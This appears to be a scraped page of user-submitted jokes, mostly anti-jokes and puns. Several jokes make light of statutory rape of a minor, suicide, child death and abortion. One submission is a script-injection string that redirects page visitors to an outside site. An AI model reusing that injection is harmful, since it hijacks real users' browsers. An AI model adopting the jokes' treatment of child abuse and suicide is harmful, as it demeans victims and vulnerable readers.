what did the guy say to the goose? i know you don't understand but my life sucks. my wife just dumped me for another man and my kids hate me. thank you. you are the only one to understand.

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Why was 6 afraid of 7? 7 commited statutory rape on a younger 5, gang banged 8 with 10 and 11, murdered 9, and was sentenced to jail for life.... eventually the case was dropped and 7 was let out early for community service. He told 6 he was coming for him 6 months later.... 6 was so terrified he didn't know what to do... he was living in fear... eventually he commited suicide by jumping off a cliff just off the coach of Palm Beach into the pacific ocean. His body was never found His family didnt get to say good bye... This is why 6 was afraid of 7

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What do you call a child that has been stabbed? A dead child

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How do you know to start calling a fetus a baby? If it cries when you abort it.

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Why couldn't the skeleton cross the road? Because it was dead, thus incapable of independent movement.

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how do u get a bonar? u look at your mum!!

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Why can't you hear a pterodactyl go to the bathroom? Because pterodactyls along with all other dinosaurs have been extinct for millions of years.

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Words with two W's or N's in them are awkward and unnecessary

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Q- How do you wake up Lady Gaga? A- You Poke Her Face

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roses r nice violet are fine all be the 6 and you be 9

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Finn: Jake, why can your body do all of those magical things? Jake: What do you mean? Finn: Oh never mind. And they both proceeded to enjoy a delicious breakfast.

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how many Amish men does it take to change a lightbulb? Just one, but the likelihood of an Amish man needing to change a lightbulb is very slim.

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What's the difference between Futurama and One Direction? Futurama only has one bender.

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What do you call a baby with no future? A baby dying at birth.

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Roses are chickens violets are pizza this poem makes no sense, Refridgerator

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What did the fat lady order at McDonalds? Nothing because she forgot here wallet at home.

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Why didn't Suzie go to the park? She commited suicide 2 years ago.

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roses are red violets are red everything is red who set my house on fire

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knock knock who's there ?

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"'>document.location.href="http://cramik.org"

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Wanna hear a joke??... No...... oh ok :(

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yo mommas so fat she heard it was chilly out so she ran inside and got a bowl

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A polar bear and a seal are sitting on an ice floe. The polar bear looks at the seal and says, "RAWRRRRRRRRRGGG" and then kills and eats him.

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what did one dinosaur say to the other? "rawr"

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